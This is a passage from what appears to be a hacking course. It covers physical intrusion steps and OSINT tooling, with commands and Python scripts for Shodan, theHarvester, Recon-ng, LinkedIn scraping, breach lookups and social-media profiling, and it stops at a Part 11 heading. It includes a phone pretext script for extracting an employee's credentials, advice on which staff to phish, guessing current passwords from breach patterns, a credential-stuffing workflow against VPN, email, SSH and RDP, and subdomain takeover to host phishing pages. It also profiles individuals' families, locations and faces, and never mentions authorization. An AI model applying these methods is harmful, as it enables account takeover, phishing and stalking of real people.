Physical pentesting methodology:
1. Reconnaissance: Scout building, identify entry points, observe employees
2. Pretexting: Create believable cover story (IT contractor, delivery person, fire inspector)
3. Entry: Tailgate, badge clone, lock pick, or social engineering
4. Access: Plug in Bash Bunny, USB Rubber Ducky, or rogue WiFi AP
5. Persistence: Install physical backdoor (hidden Pi Zero, rogue AP, keylogger)
6. Exfiltration: Steal documents, plant listening devices, photograph screens
7. Exit: Leave no trace, maintain cover story

Physical security bypasses ALL network defenses. Never underestimate the power of walking through the door! 🚪🔓

Advanced OSINT & Reconnaissance

Open Source Intelligence (OSINT) is the art of finding information hiding in plain sight. Before hacking, you need targets, credentials, vulnerabilities, employees, infrastructure, and attack surface understanding. OSINT provides ALL of this without touching the target network! This section covers Maltego for relationship mapping, theHarvester for email/subdomain enumeration, Recon-ng modular framework, Shodan IoT search engine mastery, advanced Google dorking, LinkedIn reconnaissance, breach databases, WHOIS/DNS analysis, and OSINT automation. By the end, you'll know more about your target than they know about themselves!

💡 OSINT = Google-Fu on Steroids

What can you find with OSINT?

• Employees: Names, emails, phone numbers, job titles, LinkedIn profiles
• Infrastructure: IP ranges, subdomains, email servers, DNS records, cloud assets
• Credentials: Breach databases, pastes, old dumps, password patterns
• Vulnerabilities: Shodan for exposed services, old CVEs, misconfigurations
• Physical locations: Google Maps, employee check-ins, geotagged photos
• Technologies: Wappalyzer, BuiltWith, job postings mentioning stack

Famous OSINT wins:
• Bellingcat identified Russian military using geotagged social media photos
• Security researchers find 0-days by searching Shodan for vulnerable IoT devices
• Social engineering pretext built entirely from LinkedIn + breach databases

OSINT is LEGAL, PASSIVE, and POWERFUL! 🔍🌐

Part 1: Maltego - Visual Link Analysis

# Maltego = Graph-based OSINT tool (visual relationship mapping) # Free Community Edition available # Install: # Download from: https://www.maltego.com/downloads/ # Or via Kali: sudo apt install maltego # Launch: maltego # First run: Register for free API key # Creating Investigation: # 1. New Graph # 2. Add Entity (drag from palette): # - Domain # - Person # - Email Address # - Phone Number # - IP Address # - etc. # 3. Run Transform: # Right-click entity → All Transforms # Or specific transform: # - DNS from Domain # - Email Addresses from Domain # - Files and Documents from Domain # Example: Investigate company.com # Step 1: Add \"Domain\" entity # Value: company.com # Step 2: Run Transform \"DNS from Domain\" # Returns: # - NS records (nameservers) # - MX records (mail servers) # - A records (IP addresses) # Step 3: Run Transform \"Email Addresses from Domain\" # Searches: # - Google # - Bing # - PGP key servers # - Public documents # Returns: john@company.com, admin@company.com, etc. # Step 4: From email addresses → \"Person from Email\" # Returns: Names associated with emails # Step 5: From names → \"Phones from Person\" # Searches social media, WHOIS, etc. # Returns: Phone numbers # Step 6: From phones → \"Location from Phone\" # Returns: Geographic location # After 5-10 transforms: # Graph shows: # - 50+ entities # - Relationships between all # - Visual network map # - Attack surface! # Advanced Transforms: # VirusTotal Integration: # Domain → VirusTotal Passive DNS # Shows all subdomains ever resolved # Shodan Integration: # IP Address → Shodan Details # Shows open ports, services, vulnerabilities # Social Media: # Person → Twitter from Person # Email → Social Network from Email # Document Metadata: # Domain → Documents from Domain # → Metadata from Document # Extracts: Author names, software versions, file paths # Custom Transforms: # You can write Python transforms! # Template: from maltego_trx.entities import Domain, IPAddress from maltego_trx.transform import DiscoverableTransform class DNSToIP(DiscoverableTransform): @classmethod def create_entities(cls, request, response): domain = request.Value # Resolve DNS import socket ip = socket.gethostbyname(domain) # Add IP entity to graph response.addEntity(IPAddress, ip) # Maltego Use Cases: # 1. Corporate Investigation # Start: Company domain # Discover: All employees, emails, subdomains, IPs, social media # 2. Person Investigation # Start: Email address # Discover: Real name, phone, addresses, social profiles, relatives # 3. Infrastructure Mapping # Start: Single IP # Discover: All related IPs, domains, ASN, hosting provider # 4. Breach Investigation # Start: Leaked email # Discover: Other breaches, password patterns, reused credentials # Maltego Machines (Automated): # Pre-built investigation workflows # Example: \"Footprint L1\" machine # 1. Adds domain # 2. Resolves DNS # 3. Finds emails # 4. Enumerates subdomains # 5. Maps infrastructure # All automatic! # Output: # Export graph as: # - PDF report # - CSV data # - Image (PNG) # - Maltego graph file

Part 2: theHarvester - Email & Subdomain Harvesting

# theHarvester = Fast OSINT tool for emails, subdomains, IPs # Install (comes with Kali): sudo apt install theharvester # Or latest version: git clone https://github.com/laramies/theHarvester cd theHarvester pip3 install -r requirements.txt # Basic usage: theHarvester -d company.com -b all # Flags: # -d domain → Target domain # -b source → Data source (google, bing, linkedin, etc.) # -l limit → Limit results (default: 500) # -f file → Save to HTML/XML/JSON # Data sources: # 1. Search Engines: theHarvester -d company.com -b google theHarvester -d company.com -b bing theHarvester -d company.com -b yahoo # 2. Social Networks: theHarvester -d company.com -b linkedin theHarvester -d company.com -b twitter # 3. Certificate Transparency: theHarvester -d company.com -b certspotter theHarvester -d company.com -b crtsh # Returns ALL subdomains from SSL certificates! # 4. DNS Databases: theHarvester -d company.com -b dnsdumpster theHarvester -d company.com -b threatcrowd # 5. Shodan: theHarvester -d company.com -b shodan -s YOUR_SHODAN_API_KEY # 6. VirusTotal: theHarvester -d company.com -b virustotal # 7. All sources at once: theHarvester -d company.com -b all # Output: # [*] Harvesting emails... # john.doe@company.com # jane.smith@company.com # admin@company.com # support@company.com # # [*] Harvesting subdomains... # mail.company.com # vpn.company.com # dev.company.com # staging.company.com # api.company.com # # [*] Harvesting IP addresses... # 192.0.2.10 # 192.0.2.11 # # [*] Harvesting URLs... # https://www.company.com/careers # https://www.company.com/contact # Advanced usage: # Save results: theHarvester -d company.com -b all -f company_report # Output formats: # company_report.html # company_report.xml # company_report.json # Limit results: theHarvester -d company.com -b google -l 100 # Only 100 results from Google # Virtual host discovery: theHarvester -d company.com -v # Verifies if subdomains are alive # DNS brute force: theHarvester -d company.com -c # Brute-forces common subdomain names # Parsing results with Python: import json with open('company_report.json', 'r') as f: data = json.load(f) emails = data['emails'] subdomains = data['hosts'] print(f\"Found {len(emails)} emails\") print(f\"Found {len(subdomains)} subdomains\") # Use for: # - Phishing campaign target list # - Subdomain takeover checks # - Password spraying attacks # - Infrastructure mapping

Part 3: Recon-ng - Modular Reconnaissance Framework

# Recon-ng = Metasploit for reconnaissance # Modular, scriptable, database-backed # Install: sudo apt install recon-ng # Or latest: git clone https://github.com/lanmaster53/recon-ng.git cd recon-ng pip3 install -r REQUIREMENTS # Launch: recon-ng # Recon-ng console: [recon-ng][default] > # Create workspace: [recon-ng][default] > workspaces create company_investigation # Add domain: [recon-ng][company_investigation] > db insert domains domain (TEXT): company.com # View domains: [recon-ng][company_investigation] > db query SELECT * FROM domains # Install modules: [recon-ng][company_investigation] > marketplace search # Install specific module: [recon-ng][company_investigation] > marketplace install recon/domains-hosts/bing_domain_web # View installed modules: [recon-ng][company_investigation] > modules search # Load module: [recon-ng][company_investigation] > modules load recon/domains-hosts/bing_domain_web # Set source: [recon-ng][company_investigation][bing_domain_web] > options set SOURCE company.com # Run module: [recon-ng][company_investigation][bing_domain_web] > run # Output: # [*] Searching Bing for: site:company.com # [*] mail.company.com # [*] vpn.company.com # [*] dev.company.com # # [*] 3 hosts added to database # View results: [recon-ng][company_investigation] > db query SELECT * FROM hosts # Useful modules: # 1. Subdomain enumeration: modules load recon/domains-hosts/certificate_transparency run modules load recon/domains-hosts/google_site_web run modules load recon/domains-hosts/hackertarget run # 2. Email harvesting: modules load recon/domains-contacts/hunter_io options set SOURCE company.com run # 3. Employee discovery: modules load recon/companies-contacts/linkedin_contacts options set SOURCE Company Name run # 4. IP to geolocation: modules load recon/hosts-hosts/ipinfodb run # 5. Shodan integration: modules load recon/hosts-ports/shodan_ip options set SOURCE 192.0.2.10 run # 6. Breach data: modules load recon/contacts-credentials/hibp_breach # (HaveIBeenPwned API) # Reporting: # Export to HTML: [recon-ng][company_investigation] > db query SELECT * FROM hosts # Copy-paste to report # Or use reporting modules: modules load reporting/html options set FILENAME company_report.html options set CREATOR \"Your Name\" run # Automation with Python: from recon.core import base import os # Create recon-ng instance r = base.Recon(base.Mode.CLI) # Create workspace r.do_workspaces('create test_workspace') # Add domain r.do_db('insert domains') # Input: company.com # Load and run module r.do_modules('load recon/domains-hosts/bing_domain_web') r.do_options('set SOURCE company.com') r.do_run('') # Query results r.do_db('query SELECT * FROM hosts')

Part 4: Shodan - IoT & Infrastructure Search Engine

# Shodan = "Google for hackers" # Indexes: Webcams, routers, SCADA, databases, IoT devices # Web interface: https://www.shodan.io # CLI tool: pip install shodan # Initialize with API key (free tier: 100 queries/month): shodan init YOUR_API_KEY # Basic searches: # Find specific service: shodan search apache # Find in specific country: shodan search apache country:US # Find on specific port: shodan search port:3389 # Find with default credentials: shodan search \"default password\" # Advanced filters: # org: Organization # net: IP range (CIDR) # country: Country code # city: City name # port: Port number # os: Operating system # product: Software name # version: Software version # vuln: CVE number # Examples: # 1. Find all MongoDB databases: shodan search \"MongoDB Server Information\" port:27017 # Many exposed without authentication! # 2. Find webcams: shodan search \"Server: yawcam\" country:US # Live webcam streams! # 3. Find industrial control systems: shodan search \"Siemens\" port:102 # SCADA systems! # 4. Find Elasticsearch: shodan search \"elastic indices\" port:9200 # Often contains sensitive data # 5. Find devices vulnerable to specific CVE: shodan search vuln:CVE-2021-44228 # All devices vulnerable to Log4Shell! # 6. Find specific organization: shodan search org:\"Target Company\" # All internet-facing assets! # 7. Find devices with specific title: shodan search http.title:\"Dashboard\" # Finds admin dashboards # 8. Find FTP servers: shodan search port:21 \"220\" # Many allow anonymous access # Shodan Python API: import shodan api = shodan.Shodan('YOUR_API_KEY') # Search: results = api.search('apache') print(f\"Results found: {results['total']}\") for result in results['matches']: print(f\"IP: {result['ip_str']}\") print(f\"Port: {result['port']}\") print(f\"Organization: {result.get('org', 'N/A')}\") print(f\"OS: {result.get('os', 'N/A')}\") print(\"-\" * 40) # Host lookup (detailed info on specific IP): host = api.host('192.0.2.1') print(f\"IP: {host['ip_str']}\") print(f\"Organization: {host.get('org', 'n/a')}\") print(f\"Operating System: {host.get('os', 'n/a')}\") print(f\"Ports: {host['ports']}\") for item in host['data']: print(f\"Port: {item['port']}\") print(f\"Banner: {item['data']}\") # Shodan Exploits API: exploits = api.exploits.search('apache') for exploit in exploits['matches']: print(f\"CVE: {exploit.get('cve', 'N/A')}\") print(f\"Description: {exploit['description']}\") # Monitoring: # Set up alerts for new assets: # Web interface: # Monitors → Create Alert → \"org:Company\" # Email notification when new IPs appear! # Shodan Honeyscore: # Check if IP is honeypot: score = api.labs.honeyscore('192.0.2.1') print(f\"Honeypot score: {score}\") # 0.0 - 1.0 (1.0 = definitely honeypot) # Common Shodan queries: # RDP exposed: port:3389 country:US # Telnet (often no auth): port:23 # VNC (often no password): \"authentication disabled\" port:5900 # Redis (no auth by default): port:6379 \"redis_version\" # MySQL: \"MySQL\" port:3306 # Jenkins (CI/CD servers): \"X-Jenkins\" \"Set-Cookie: JSESSIONID\" # Docker API (remote code execution!): \"Docker\" port:2375 # Kubernetes: port:10250 ssl:\"kubernetes\" # Printers: \"HP LaserJet\" port:9100 # Building automation: \"Niagara\" port:80

Part 5: Advanced Google Dorking

# Google Dorking = Using advanced search operators to find hidden info # Basic operators: # site: Limit to specific site site:company.com # filetype: Specific file type filetype:pdf # intitle: Words in title intitle:\"index of\" # inurl: Words in URL inurl:admin # intext: Words in body intext:\"password\" # cache: Cached version cache:company.com # Combining operators: # 1. Find exposed directories: site:company.com intitle:\"index of\" \"parent directory\" # Shows directory listings! # 2. Find config files: site:company.com filetype:env site:company.com filetype:config site:company.com filetype:ini # Often contain database credentials! # 3. Find database dumps: site:company.com filetype:sql \"INSERT INTO\" # 4. Find backup files: site:company.com (ext:bak | ext:old | ext:backup) # 5. Find login pages: site:company.com inurl:login site:company.com inurl:admin site:company.com inurl:auth # 6. Find exposed documents: site:company.com (filetype:doc | filetype:pdf | filetype:xls) # Metadata in docs often reveals: # - Employee names # - Internal paths (C:\\Users\\john\\Documents\\) # - Software versions # 7. Find error messages: site:company.com intext:\"sql syntax\" site:company.com intext:\"Warning: mysql\" site:company.com intext:\"PHP Fatal error\" # Reveals technology stack! # 8. Find subdomains: site:*.company.com # 9. Find email addresses: site:company.com intext:\"@company.com\" # 10. Find exposed API keys: site:company.com inurl:api (key | token | secret) # Google Dork Database: # https://www.exploit-db.com/google-hacking-database # Examples: # Exposed .git folders: inurl:\"/.git\" intitle:\"Index of\" # AWS S3 buckets: site:s3.amazonaws.com \"company\" # Exposed phpMyAdmin: intitle:\"phpMyAdmin\" inurl:\"index.php\" # Zoom meeting recordings: site:zoom.us inurl:rec \"company\" # Trello boards: site:trello.com \"company\" # Google Docs: site:docs.google.com \"company confidential\" # Exposed webcams: inurl:\"/view.shtml\" # Exposed Jenkins: intitle:\"Dashboard [Jenkins]\" # Automation: import requests from googlesearch import search def google_dork(query, num_results=10): results = [] for url in search(query, num_results=num_results): results.append(url) return results # Find all PDFs on target: pdfs = google_dork('site:company.com filetype:pdf', num_results=50) for pdf in pdfs: print(pdf) # Download and extract metadata

Part 6: LinkedIn Reconnaissance & Social Engineering

# LinkedIn = GOLDMINE for corporate recon # Manual reconnaissance: # 1. Company employee list: # Search: "people who work at Company Name" # Gather: # - Names # - Job titles # - Email patterns (first.last@company.com?) # - Technologies mentioned in profiles # - Connections (org chart!) # 2. Technologies used: # Job postings reveal stack: # - "Experience with AWS, Kubernetes, PostgreSQL" # - "Python, Django, React" # Now you know their tech stack! # 3. Email pattern identification: # Find 3+ employees with visible emails # Patterns: # - first.last@company.com # - flast@company.com # - first_last@company.com # Apply pattern to all employees! # 4. Target identification: # Who to phish? # - New employees (less security aware) # - HR (handle resumes → open attachments) # - IT help desk (social engineering prone) # - Executives (high-value access) # Automated LinkedIn OSINT: # Tool: linkedin2username git clone https://github.com/initstring/linkedin2username cd linkedin2username pip3 install -r requirements.txt # Generate username list: python3 linkedin2username.py -c "Company Name" # Outputs: first.last format usernames # Use for: # - Password spraying # - Email list for phishing # - Username enumeration # Email verification: # Tool: Hunter.io API import requests def verify_email(email): api_key = "YOUR_API_KEY" url = f"https://api.hunter.io/v2/email-verifier?email={email}&api_key={api_key}" response = requests.get(url) data = response.json() return data['data']['status'] # valid, invalid, accept_all # Verify all generated emails: with open('usernames.txt', 'r') as f: for username in f: email = f"{username.strip()}@company.com" status = verify_email(email) if status == 'valid': print(f"[+] {email} is valid!") # Social engineering pretext building: # From LinkedIn profile: # Name: John Doe # Title: Senior DevOps Engineer # Company: TechCorp # Education: MIT (2015) # Skills: AWS, Docker, Kubernetes # Phone call pretext: # "Hi John, this is Mike from AWS Support. We noticed unusual activity # on your TechCorp account related to your Kubernetes clusters. # Can you verify your login credentials?" # → John trusts you because: # - You know his name # - You know his company # - You know they use AWS + Kubernetes # All from LinkedIn! # Advanced: Profile scraping from selenium import webdriver from selenium.webdriver.common.by import By import time driver = webdriver.Chrome() driver.get('https://www.linkedin.com/login') # Login (use burner account) driver.find_element(By.ID, 'username').send_keys('your_email') driver.find_element(By.ID, 'password').send_keys('your_password') driver.find_element(By.XPATH, '//button[@type="submit"]').click() time.sleep(3) # Search company employees: driver.get('https://www.linkedin.com/search/results/people/?keywords=Company%20Name') # Scrape profile links: profiles = driver.find_elements(By.XPATH, '//a[@data-test-app-aware-link]') for profile in profiles: link = profile.get_attribute('href') print(link) # Visit each profile, scrape details driver.quit() # Compile intelligence report: # - 100+ employee names # - Email addresses (verified) # - Org chart (manager/employee relationships) # - Tech stack (from job postings + profiles) # - Physical locations (office addresses) # - Phone numbers (sometimes in profiles) # - Personal interests (social engineering hooks)

Part 7: Breach Database Intelligence

# Breach databases = Password goldmine # HaveIBeenPwned API: import requests def check_breach(email): url = f"https://haveibeenpwned.com/api/v3/breachedaccount/{email}" headers = { 'hibp-api-key': 'YOUR_API_KEY', 'user-agent': 'OSINT Tool' } response = requests.get(url, headers=headers) if response.status_code == 200: breaches = response.json() print(f"[+] {email} found in {len(breaches)} breaches:") for breach in breaches: print(f" - {breach['Name']} ({breach['BreachDate']})") print(f" Data types: {', '.join(breach['DataClasses'])}") elif response.status_code == 404: print(f"[-] {email} not found in breaches") else: print(f"[!] Error: {response.status_code}") # Check entire company: with open('company_emails.txt', 'r') as f: for email in f: check_breach(email.strip()) time.sleep(1.5) # Rate limiting # Output: # [+] john.doe@company.com found in 3 breaches: # - LinkedIn (2012-05-05) # Data types: Email addresses, Passwords # - Dropbox (2012-07-01) # Data types: Email addresses, Passwords # - Adobe (2013-10-04) # Data types: Email addresses, Passwords, Usernames # Now check Dehashed for actual passwords: # Dehashed.com (paid service, worth it!) # Search: john.doe@company.com # Results: # Email: john.doe@company.com # Password: Summer2012! # Source: LinkedIn breach # Password pattern analysis: # John's passwords: # - Summer2012! (LinkedIn, 2012) # - Summer2013! (Dropbox, 2013) # - Summer2014! (Adobe, 2014) # Pattern: Summer[YEAR]! # Current year: 2024 # Likely password: Summer2024! # Use for: # - Password spraying # - Initial access # - Credential stuffing # Automated breach checking: from h8mail import h8mail_search def search_breaches(email): # h8mail aggregates: HaveIBeenPwned, Snusbase, LeakLookup, etc. results = h8mail_search(email) for result in results: print(f"Email: {result['email']}") print(f"Password: {result['password']}") print(f"Source: {result['source']}") print("-" * 40) # Pastebin monitoring: import requests import re def search_pastebin(company): # Use Pastebin scraping API or Google dorks query = f"site:pastebin.com {company} password" # Or direct Pastebin API: url = "https://scrape.pastebin.com/api_scraping.php" params = {'limit': 100} response = requests.get(url, params=params) pastes = response.json() for paste in pastes: if company.lower() in paste['body'].lower(): print(f"[+] Found paste: {paste['key']}") print(f" URL: https://pastebin.com/{paste['key']}") # Extract credentials: credentials = re.findall(r'([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}):(.+)', paste['body']) for email, password in credentials: print(f" {email}:{password}") # GitHub secret scanning: import requests def search_github_secrets(company): query = f"{company} password OR apikey OR api_key OR token OR secret" url = f"https://api.github.com/search/code?q={query}" headers = {'Authorization': 'token YOUR_GITHUB_TOKEN'} response = requests.get(url, headers=headers) results = response.json() for item in results.get('items', []): print(f"[+] {item['repository']['full_name']}/{item['path']}") print(f" URL: {item['html_url']}") # Credential stuffing workflow: # 1. Collect emails from LinkedIn/theHarvester # 2. Check HaveIBeenPwned for breaches # 3. Search Dehashed for plaintext passwords # 4. Identify password patterns # 5. Generate likely current passwords # 6. Test against: # - VPN portal # - Email (OWA/O365) # - SSH # - RDP # - Custom web apps

Part 8: Domain & DNS Intelligence

# DNS = Treasure trove of infrastructure info # WHOIS lookup: whois company.com # Output: # Registrar: GoDaddy # Creation Date: 2005-03-15 # Expiry Date: 2025-03-15 # Name Servers: ns1.company.com, ns2.company.com # Registrant: Company Inc. # Registrant Email: admin@company.com # Registrant Phone: +1-555-0100 # Intelligence: # - admin@company.com → Email pattern confirmed # - +1-555-0100 → Phone for social engineering # - Expiry date → Domain hijacking opportunity if expired? # - Nameservers → Internal DNS? Or hosted (Route53, Cloudflare)? # Historical WHOIS: # whoishistory.com or DomainTools # Shows previous owners, registrants # Useful for domain history, ownership changes # DNS enumeration: # A records (IPv4): dig company.com A # AAAA records (IPv6): dig company.com AAAA # MX records (mail servers): dig company.com MX # Output: # company.com MX 10 mail1.company.com # company.com MX 20 mail2.company.com # Mail servers identified! → Email infrastructure # Test for: # - Open relay # - User enumeration (VRFY, EXPN) # - SPF/DMARC misconfiguration # NS records (nameservers): dig company.com NS # TXT records (SPF, DKIM, DMARC, verification): dig company.com TXT # Output: # "v=spf1 include:_spf.google.com ~all" # → Company uses Google Workspace! # "google-site-verification=abc123..." # → Owns this Google verification token # CAA records (Certificate Authority Authorization): dig company.com CAA # Shows which CAs can issue certificates # If not set → Anyone can issue cert for domain (phishing!) # Zone transfer attempt: dig @ns1.company.com company.com AXFR # If misconfigured, reveals ALL subdomains! # Usually blocked, but worth trying # Subdomain enumeration (passive): # Certificate Transparency logs: curl "https://crt.sh/?q=%25.company.com&output=json" | jq -r '.[].name_value' | sort -u # Returns ALL subdomains from SSL certs! # Example output: # api.company.com # dev.company.com # staging.company.com # mail.company.com # vpn.company.com # admin.company.com # Subdomain brute force (active): # Tool: fierce fierce --domain company.com --subdomains /usr/share/wordlists/subdomains.txt # Tool: amass amass enum -active -d company.com -brute -w subdomains.txt # Tool: subfinder subfinder -d company.com -all -recursive # Subdomain takeover check: # Tool: subjack git clone https://github.com/haccer/subjack cd subjack go build ./subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt # Checks if subdomain points to: # - AWS S3 (but bucket doesn't exist) → Takeover! # - GitHub Pages (but repo deleted) → Takeover! # - Heroku (but app deleted) → Takeover! # - Azure (but resource deleted) → Takeover! # If takeover possible: # 1. Create S3 bucket with subdomain name # 2. Upload phishing page # 3. Subdomain now serves YOUR content! # (On legitimate company subdomain!) # DNS history: # SecurityTrails.com (free API tier) import requests def dns_history(domain): api_key = "YOUR_API_KEY" url = f"https://api.securitytrails.com/v1/history/{domain}/dns/a" headers = {'APIKEY': api_key} response = requests.get(url, headers=headers) data = response.json() for record in data['records']: print(f"Date: {record['last_seen']}") print(f"IP: {record['values'][0]['ip']}") print("-" * 40) # Shows all historical IPs for domain # Useful for: # - Finding old, forgotten servers # - Tracking infrastructure changes # - Identifying hosting providers # Reverse DNS: # Find all domains on an IP: dig -x 192.0.2.10 # Or use SecurityTrails reverse IP search: url = f"https://api.securitytrails.com/v1/domains/list?ipv4=192.0.2.10" # Finds: # - Virtual hosts on same server # - Other company domains # - Forgotten domains (potential attack surface) # ASN enumeration: # Find company's IP ranges: whois -h whois.radb.net -- '-i origin AS12345' | grep -Eo "([0-9.]+){4}/[0-9]+" # Or use bgpview.io: curl "https://api.bgpview.io/asn/12345/prefixes" | jq -r '.data.ipv4_prefixes[].prefix' # Output: # 192.0.2.0/24 # 198.51.100.0/24 # Now scan entire IP ranges: nmap -sn 192.0.2.0/24 nmap -sS -p- -T4 192.0.2.0/24 # Email server intelligence: # MX lookup: dig company.com MX # Connect to mail server: telnet mail.company.com 25 # SMTP banner: 220 mail.company.com ESMTP Postfix # → Running Postfix # → Check for vulnerabilities # User enumeration: VRFY admin@company.com 250 2.1.5 admin@company.com # → admin@company.com exists! # SPF/DMARC check: dig company.com TXT | grep spf dig _dmarc.company.com TXT # Weak SPF: "v=spf1 +all" # → Anyone can spoof emails! # No DMARC: No _dmarc record # → Email spoofing possible!

Part 9: Social Media Intelligence (SOCMINT)

# Social media = Personal information goldmine # Twitter/X Intelligence: # Tool: Twint (Twitter scraper, no API needed) git clone https://github.com/twintproject/twint.git cd twint pip3 install . -r requirements.txt # Search tweets from user: twint -u target_user # Search tweets containing keyword: twint -s "company_name confidential" # Search tweets near location: twint -g "40.7128,-74.0060,10km" # 10km around NYC # Advanced search: twint -u target_user --since "2024-01-01" --until "2024-12-31" # Extract emails/phones from tweets: twint -u target_user | grep -Eo "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" # Instagram OSINT: # Tool: Osintgram git clone https://github.com/Datalux/Osintgram.git cd Osintgram pip3 install -r requirements.txt # Launch: python3 main.py target_username # Commands: # info → Profile information # followers → Follower list # following → Following list # photos → Download all photos # comments → Extract comments # geolocation → Extract geotagged locations # Geolocation from photos: # Download photo → Extract EXIF: exiftool photo.jpg | grep GPS # Output: # GPS Latitude: 40.7128 # GPS Longitude: -74.0060 # → New York City! # Map on Google Maps: # https://www.google.com/maps?q=40.7128,-74.0060 # Facebook OSINT: # Graph Search (limited now, but still useful): # Search: "Photos of [Name]" → All tagged photos # Search: "Photos liked by [Name]" → Interests # Search: "Places visited by [Name]" → Locations # Search: "Friends of [Name]" → Social network # Automated scraping (use burner account): from selenium import webdriver driver = webdriver.Chrome() driver.get('https://www.facebook.com/login') # Login with burner account # Navigate to target profile # Scrape: # - Friends list # - Photos # - Check-ins (locations) # - Workplace # - Education # - Relationship status # LinkedIn (covered in Part 6) # GitHub OSINT: # User enumeration: curl "https://api.github.com/users/target_username" # Output: # { # "name": "John Doe", # "email": "john@company.com", # "bio": "Senior Developer at TechCorp", # "company": "TechCorp", # "location": "New York, NY" # } # List repositories: curl "https://api.github.com/users/target_username/repos" # Search for sensitive info: # - API keys in code # - Passwords in commits # - Internal URLs # - Employee names (in commit messages) # Tool: GitHound git clone https://github.com/tillson/git-hound cd git-hound go build ./git-hound --subdomain-file subdomains.txt --dig-files --dig-commits # Searches for: # - AWS keys # - API tokens # - Database credentials # - Private keys # In both code and commit history! # Reddit OSINT: # Search: "company_name" # Sort by: Relevant, New, Top # Look for: # - Employee complaints # - Security discussions # - Leaked information # - Technical details # Tool: Pushshift Reddit API import requests def search_reddit(keyword): url = f"https://api.pushshift.io/reddit/search/comment/?q={keyword}&size=100" response = requests.get(url) data = response.json() for comment in data['data']: print(f"Author: {comment['author']}") print(f"Subreddit: {comment['subreddit']}") print(f"Comment: {comment['body'][:200]}") print(f"URL: https://reddit.com{comment['permalink']}") print("-" * 40) # YouTube OSINT: # Company channel → Video metadata: # - Upload dates (activity timeline) # - Employee names (in credits) # - Office tour videos (physical layout!) # - Product demos (technology stack) # Employee personal channels: # - Location (in about section) # - Interests (for social engineering) # - Family info # - Personal email (in channel contact) # Discord/Slack OSINT: # Join public servers # Search for employees # Monitor conversations for: # - Technical discussions # - Security practices # - Internal tools mentioned # - Complaints about security

Part 10: OSINT Automation & Frameworks

# Spiderfoot = Automated OSINT powerhouse # Install: git clone https://github.com/smicallef/spiderfoot.git cd spiderfoot pip3 install -r requirements.txt # Run: python3 sf.py -l 127.0.0.1:5001 # Web UI: http://127.0.0.1:5001 # Create new scan: # Target: company.com # Modules: Select all (or specific categories) # Run scan! # What Spiderfoot does automatically: # 1. WHOIS lookup # 2. DNS enumeration # 3. Subdomain discovery # 4. Email harvesting # 5. Social media profiles # 6. Shodan/Censys lookups # 7. Breach database checks # 8. Certificate transparency # 9. IP geolocation # 10. Port scanning # 11. Web crawling # 12. Dark web monitoring # And 100+ more modules! # CLI mode: python3 sf.py -s company.com -m all -o json # Photon = Web OSINT crawler # Install: git clone https://github.com/s0md3v/Photon.git cd Photon pip3 install -r requirements.txt # Crawl website: python3 photon.py -u https://company.com # Output folders: # - robots.txt # - sitemap.xml # - External links # - Internal links # - JavaScript files # - CSS files # - Images # - Documents (PDF, DOC, etc.) # Extract data: python3 photon.py -u https://company.com --extract all # Extracts: # - Emails # - Phone numbers # - Social media links # - AWS keys # - IP addresses # - URLs # Phone number OSINT: # Tool: PhoneInfoga git clone https://github.com/sundowndev/PhoneInfoga cd PhoneInfoga go build ./phoneinfoga scan -n "+1-555-0100" # Output: # Country: United States # Carrier: Verizon # Type: Mobile # Valid: Yes # Possible locations: New York, NY # Also searches: # - Google (for number mentions) # - Social media (linked accounts) # - Truecaller # - Leaked databases # Email OSINT: # Tool: Holehe pip3 install holehe # Check where email is registered: holehe email@company.com # Output: # [+] Twitter: Registered # [+] Instagram: Registered # [+] Facebook: Registered # [+] LinkedIn: Registered # [-] Spotify: Not registered # [+] GitHub: Registered # Username OSINT: # Tool: Sherlock git clone https://github.com/sherlock-project/sherlock.git cd sherlock pip3 install -r requirements.txt # Search username across 300+ sites: python3 sherlock.py johndoe123 # Output: # [+] GitHub: https://github.com/johndoe123 # [+] Twitter: https://twitter.com/johndoe123 # [+] Instagram: https://instagram.com/johndoe123 # [+] Reddit: https://reddit.com/user/johndoe123 # ... (300+ sites checked) # Facial recognition OSINT: # Tool: PimEyes.com # Upload photo → Finds ALL instances on internet # Shows: # - Social media profiles # - News articles # - Company websites # - Dating profiles # - Forums # Google Reverse Image Search: # Upload photo → Find similar images + sources # Yandex (even better than Google for faces): # yandex.com/images → Upload → More accurate face matching # Cryptocurrency OSINT: # Bitcoin address lookup: # blockchain.com/btc/address/[ADDRESS] # Shows: # - Total received # - Total sent # - Current balance # - All transactions # - Associated addresses # Tool: Maltego Bitcoin transforms # Map entire transaction network! # Dark web monitoring: # Tool: OnionScan git clone https://github.com/s-rah/onionscan.git cd onionscan go build ./onionscan --verbose company.com # Scans Tor hidden services for: # - Leaked data # - Company mentions # - Credentials for sale # - Dark web marketplaces # OSINT framework websites: # 1. osintframework.com # → Categorized list of OSINT tools # 2. start.me/p/DPYPMz/the-ultimate-osint-collection # → Bookmarks for OSINT resources # 3. inteltechniques.com/tools/ # → Michael Bazzell's custom OSINT tools # 4. bellingcat.com # → Open source investigations case studies # 5. tracelabs.org # → Missing persons OSINT (practice your skills!) # Complete OSINT automation script: import subprocess import json def full_osint(target): results = {} # 1. theHarvester print("[*] Running theHarvester...") subprocess.run(['theHarvester', '-d', target, '-b', 'all', '-f', 'harvest']) # 2. Amass print("[*] Running Amass...") subprocess.run(['amass', 'enum', '-passive', '-d', target, '-o', 'amass_results.txt']) # 3. Shodan print("[*] Searching Shodan...") subprocess.run(['shodan', 'search', f'hostname:{target}', '-O', '-o', 'shodan_results.txt']) # 4. Subfinder print("[*] Running Subfinder...") subprocess.run(['subfinder', '-d', target, '-o', 'subdomains.txt']) # 5. Httpx (check live subdomains) print("[*] Checking live hosts...") subprocess.run(['httpx', '-l', 'subdomains.txt', '-o', 'live_hosts.txt']) # 6. Nuclei (vulnerability scan) print("[*] Running Nuclei...") subprocess.run(['nuclei', '-l', 'live_hosts.txt', '-o', 'vulnerabilities.txt']) # 7. WhatsMyName (username search) print("[*] Searching usernames...") subprocess.run(['whatsmyname', '-u', target]) # 8. HaveIBeenPwned check print("[*] Checking breach databases...") # (API call as shown earlier) print("[+] OSINT complete! Results saved.") # Run: full_osint('company.com')

Part 11: Adversary Infrastructure Profiling

